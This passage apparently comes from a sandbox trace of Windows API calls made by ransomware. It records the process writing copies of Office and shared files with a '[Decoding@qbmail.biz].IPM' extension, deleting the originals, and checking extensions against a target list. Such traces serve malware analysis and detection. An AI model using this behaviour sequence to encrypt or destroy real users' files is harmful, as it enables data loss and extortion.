Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0076.682] GetLastError () returned 0x0 [0076.682] ReadFile (in: hFile=0x208, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x5061, lpOverlapped=0x0) returned 1 [0077.007] WriteFile (in: hFile=0x1ec, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0x5070, lpOverlapped=0x0) returned 1 [0077.010] ReadFile (in: hFile=0x208, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x0, lpOverlapped=0x0) returned 1 [0077.010] WriteFile (in: hFile=0x1ec, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0xe6, lpOverlapped=0x0) returned 1 [0077.011] SetEndOfFile (hFile=0x1ec) returned 1 [0077.011] CloseHandle (hObject=0x1ec) returned 1 [0077.047] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0077.064] SetEndOfFile (hFile=0x208) returned 1 [0077.066] CloseHandle (hObject=0x208) returned 1 [0077.066] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x2020) returned 1 [0077.066] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0077.170] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0077.170] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0077.170] lstrlenW (lpString=".doc") returned 4 [0077.170] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0077.170] lstrlenW (lpString=".docx") returned 5 [0077.171] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0077.171] lstrlenW (lpString=".pdf") returned 4 [0077.171] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0077.171] lstrlenW (lpString=".xls") returned 4 [0077.171] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0077.171] lstrlenW (lpString=".xlsx") returned 5 [0077.171] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0077.171] lstrlenW (lpString=".ppt") returned 4 [0077.171] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0077.171] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0077.171] lstrlenW (lpString=".zip") returned 4 [0077.171] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0077.171] lstrlenW (lpString=".rar") returned 4 [0077.171] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0077.171] lstrlenW (lpString=".bz2") returned 4 [0077.171] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0077.171] lstrlenW (lpString=".7z") returned 3 [0077.171] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0077.171] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0077.171] lstrlenW (lpString=".dbf") returned 4 [0077.171] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0077.171] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0077.172] lstrlenW (lpString=".1cd") returned 4 [0077.172] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0077.172] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0077.172] lstrlenW (lpString=".jpg") returned 4 [0077.172] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0077.172] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0077.172] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0077.172] lstrlenW (lpString=".doc") returned 4 [0077.172] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0077.172] lstrlenW (lpString=".docx") returned 5 [0077.172] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0077.172] lstrlenW (lpString=".pdf") returned 4 [0077.172] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0077.172] lstrlenW (lpString=".xls") returned 4 [0077.172] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0077.172] lstrlenW (lpString=".xlsx") returned 5 [0077.172] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0077.172] lstrlenW (lpString=".ppt") returned 4 [0077.172] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0077.172] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0077.172] lstrlenW (lpString=".zip") returned 4 [0077.172] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0077.172] lstrlenW (lpString=".rar") returned 4 [0077.173] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0077.173] lstrlenW (lpString=".bz2") returned 4 [0077.173] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0077.173] lstrlenW (lpString=".7z") returned 3 [0077.173] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0077.173] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0077.173] lstrlenW (lpString=".dbf") returned 4 [0077.173] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0077.173] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0077.173] lstrlenW (lpString=".1cd") returned 4 [0077.173] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0077.173] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0077.173] lstrlenW (lpString=".jpg") returned 4 [0077.173] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0077.174] lstrcmpiW (lpString1=".PNG", lpString2=".IPM") returned 1 [0077.174] lstrlenW (lpString="MS.PNG") returned 6 [0077.174] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0077.198] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=1682) returned 1 [0077.198] CloseHandle (hObject=0x1d0) returned 1 [0077.198] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png")) returned 0x20 [0077.198] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0077.198] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0077.198] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0077.198] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0077.199] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0077.199] GetLastError () returned 0x0 [0077.199] ReadFile (in: hFile=0x1d0, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x692, lpOverlapped=0x0) returned 1 [0077.202] WriteFile (in: hFile=0x1d8, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0x6a0, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0x6a0, lpOverlapped=0x0) returned 1 [0077.209] ReadFile (in: hFile=0x1d0, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x0, lpOverlapped=0x0) returned 1 [0077.209] WriteFile (in: hFile=0x1d8, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0xe0, lpOverlapped=0x0) returned 1 [0077.209] SetEndOfFile (hFile=0x1d8) returned 1 [0077.210] CloseHandle (hObject=0x1d8) returned 1 [0077.212] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0077.212] SetEndOfFile (hFile=0x1d0) returned 1 [0077.214] CloseHandle (hObject=0x1d0) returned 1 [0077.214] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0077.214] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png")) returned 1 [0077.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0077.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0077.215] lstrlenW (lpString=".doc") returned 4 [0077.215] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0077.215] lstrlenW (lpString=".docx") returned 5 [0077.215] lstrcmpiW (lpString1=".docx", lpString2="S.PNG") returned -1 [0077.215] lstrlenW (lpString=".pdf") returned 4 [0077.215] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0077.215] lstrlenW (lpString=".xls") returned 4 [0077.215] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0077.216] lstrlenW (lpString=".xlsx") returned 5 [0077.216] lstrcmpiW (lpString1=".xlsx", lpString2="S.PNG") returned -1 [0077.216] lstrlenW (lpString=".ppt") returned 4 [0077.216] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0077.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0077.216] lstrlenW (lpString=".zip") returned 4 [0077.216] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0077.216] lstrlenW (lpString=".rar") returned 4 [0077.216] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0077.216] lstrlenW (lpString=".bz2") returned 4 [0077.216] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0077.216] lstrlenW (lpString=".7z") returned 3 [0077.216] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0077.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0077.216] lstrlenW (lpString=".dbf") returned 4 [0077.216] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0077.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0077.217] lstrlenW (lpString=".1cd") returned 4 [0077.217] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0077.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0077.217] lstrlenW (lpString=".jpg") returned 4 [0077.217] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0077.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0077.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0077.217] lstrlenW (lpString=".doc") returned 4 [0077.217] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0077.217] lstrlenW (lpString=".docx") returned 5 [0077.217] lstrcmpiW (lpString1=".docx", lpString2="S.PNG") returned -1 [0077.217] lstrlenW (lpString=".pdf") returned 4 [0077.217] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0077.217] lstrlenW (lpString=".xls") returned 4 [0077.217] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0077.218] lstrlenW (lpString=".xlsx") returned 5 [0077.218] lstrcmpiW (lpString1=".xlsx", lpString2="S.PNG") returned -1 [0077.218] lstrlenW (lpString=".ppt") returned 4 [0077.218] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0077.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0077.218] lstrlenW (lpString=".zip") returned 4 [0077.218] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0077.218] lstrlenW (lpString=".rar") returned 4 [0077.218] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0077.218] lstrlenW (lpString=".bz2") returned 4 [0077.218] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0077.218] lstrlenW (lpString=".7z") returned 3 [0077.218] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0077.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0077.218] lstrlenW (lpString=".dbf") returned 4 [0077.218] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0077.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0077.218] lstrlenW (lpString=".1cd") returned 4 [0077.219] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0077.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0077.219] lstrlenW (lpString=".jpg") returned 4 [0077.219] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0077.219] lstrcmpiW (lpString1=".xml", lpString2=".IPM") returned 1 [0077.219] lstrlenW (lpString="Alphabet.xml") returned 12 [0077.219] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0077.516] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=791686) returned 1 [0077.516] CloseHandle (hObject=0x1d0) returned 1 [0077.516] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0077.516] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0077.516] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0077.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0077.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0077.517] lstrlenW (lpString=".doc") returned 4 [0077.517] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0077.517] lstrlenW (lpString=".docx") returned 5 [0077.517] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0077.517] lstrlenW (lpString=".pdf") returned 4 [0077.517] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0077.517] lstrlenW (lpString=".xls") returned 4 [0077.517] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0077.517] lstrlenW (lpString=".xlsx") returned 5 [0077.517] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0077.517] lstrlenW (lpString=".ppt") returned 4 [0077.517] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0077.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0077.517] lstrlenW (lpString=".zip") returned 4 [0077.517] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0077.517] lstrlenW (lpString=".rar") returned 4 [0077.517] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0077.517] lstrlenW (lpString=".bz2") returned 4 [0077.518] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0077.518] lstrlenW (lpString=".7z") returned 3 [0077.518] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0077.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0077.518] lstrlenW (lpString=".dbf") returned 4 [0077.518] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0077.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0077.518] lstrlenW (lpString=".1cd") returned 4 [0077.518] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0077.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0077.518] lstrlenW (lpString=".jpg") returned 4 [0077.518] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0077.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0077.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0077.518] lstrlenW (lpString=".doc") returned 4 [0077.518] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0077.518] lstrlenW (lpString=".docx") returned 5 [0077.518] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0077.518] lstrlenW (lpString=".pdf") returned 4 [0077.519] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0077.519] lstrlenW (lpString=".xls") returned 4 [0077.519] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0077.519] lstrlenW (lpString=".xlsx") returned 5 [0077.519] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0077.519] lstrlenW (lpString=".ppt") returned 4 [0077.519] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0077.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0077.519] lstrlenW (lpString=".zip") returned 4 [0077.519] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0077.519] lstrlenW (lpString=".rar") returned 4 [0077.519] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0077.519] lstrlenW (lpString=".bz2") returned 4 [0077.519] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0077.519] lstrlenW (lpString=".7z") returned 3 [0077.519] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0077.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0077.519] lstrlenW (lpString=".dbf") returned 4 [0077.519] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0077.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0077.519] lstrlenW (lpString=".1cd") returned 4 [0077.519] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0077.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0077.520] lstrlenW (lpString=".jpg") returned 4 [0077.520] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0077.520] lstrcmpiW (lpString1=".avi", lpString2=".IPM") returned -1 [0077.520] lstrlenW (lpString="boxed-split.avi") returned 15 [0077.520] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0078.460] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=62976) returned 1 [0078.460] CloseHandle (hObject=0x1f8) returned 1 [0078.460] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0078.460] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0078.460] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0078.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0078.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0078.461] lstrlenW (lpString=".doc") returned 4 [0078.461] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0078.461] lstrlenW (lpString=".docx") returned 5 [0078.461] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0078.461] lstrlenW (lpString=".pdf") returned 4 [0078.461] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0078.461] lstrlenW (lpString=".xls") returned 4 [0078.461] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0078.461] lstrlenW (lpString=".xlsx") returned 5 [0078.461] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0078.461] lstrlenW (lpString=".ppt") returned 4 [0078.461] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0078.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0078.461] lstrlenW (lpString=".zip") returned 4 [0078.461] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0078.461] lstrlenW (lpString=".rar") returned 4 [0078.461] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0078.461] lstrlenW (lpString=".bz2") returned 4 [0078.462] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0078.462] lstrlenW (lpString=".7z") returned 3 [0078.462] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0078.462] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0078.462] lstrlenW (lpString=".dbf") returned 4 [0078.462] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0078.462] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0078.462] lstrlenW (lpString=".1cd") returned 4 [0078.462] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0078.462] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0078.462] lstrlenW (lpString=".jpg") returned 4 [0078.462] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0078.462] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0078.462] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0078.462] lstrlenW (lpString=".doc") returned 4 [0078.462] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0078.462] lstrlenW (lpString=".docx") returned 5 [0078.463] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0078.463] lstrlenW (lpString=".pdf") returned 4 [0078.463] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0078.463] lstrlenW (lpString=".xls") returned 4 [0078.463] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0078.463] lstrlenW (lpString=".xlsx") returned 5 [0078.463] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0078.463] lstrlenW (lpString=".ppt") returned 4 [0078.463] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0078.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0078.463] lstrlenW (lpString=".zip") returned 4 [0078.463] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0078.463] lstrlenW (lpString=".rar") returned 4 [0078.463] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0078.463] lstrlenW (lpString=".bz2") returned 4 [0078.463] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0078.463] lstrlenW (lpString=".7z") returned 3 [0078.463] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0078.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0078.464] lstrlenW (lpString=".dbf") returned 4 [0078.464] lstrcmpiW (lpString1=".dbf", lpString2=".avi") 